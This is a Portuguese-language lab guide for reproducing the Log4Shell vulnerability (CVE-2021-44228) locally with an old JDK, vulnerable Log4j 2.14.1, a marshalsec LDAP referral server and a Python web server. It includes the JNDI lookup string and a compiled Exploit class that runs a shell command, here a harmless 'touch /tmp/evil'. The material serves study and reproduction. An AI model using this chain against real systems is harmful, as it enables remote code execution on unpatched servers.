
Guia passo a passo de reprodução para CVE-2021-44228 (Log4Shell) com JDK 8u20, Log4j 2.14.1 vulnerável, servidor LDAP marshalsec e compilação de payload personalizada.
Acho que esta história é mais prática (risos) christophetd/log4shell-vulnerable-app
Só pesquisei por interesse e impulso, então podem haver partes incertas ou erros.
Por favor, faça por sua conta e risco.
Acredita-se que funcione em ambientes Linux.
A partir do jdk8u191, foi adicionada a opção com.sun.jndi.rmi.object.trustURLCodebase com valor padrão False.
Nesse estado, não é possível carregar classes preparadas externamente, então usaremos uma versão anterior.
(É possível carregar classes internas ou contornar isso??)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
Download direto do jdk8u20
Descompacte e coloque em /opt ou local adequado.
Download do log4j
Descompacte e extraia log4j-api-2.14.1.jar e log4j-core-2.14.1.jar (neste exemplo, coloquei num diretório chamado log4japp).
export CLASSPATH=:/caminho/para/log4japp/log4j-api-2.14.1.jar:/caminho/para/log4japp/log4j-core-2.14.1.jar
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://seu-ip:1389/resource}");
// Sem /resource não funcionou.
}
}
mbechler/marshalsec
Redirecionar a consulta LDAP para o servidor web.
mvn clean package -DskipTests
Iniciar a escuta
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://seu-web-ip:8888/#Exploit"
Também preparar o destino do redirecionamento do marshalsec
python3 -m http.server 8888
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
}
}
Compilar usando o jdk8u20 instalado
/opt/java/jdk1.8.0_20/bin/javac Exploit.java
Compilar e executar usando o jdk8u20 instalado.
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j
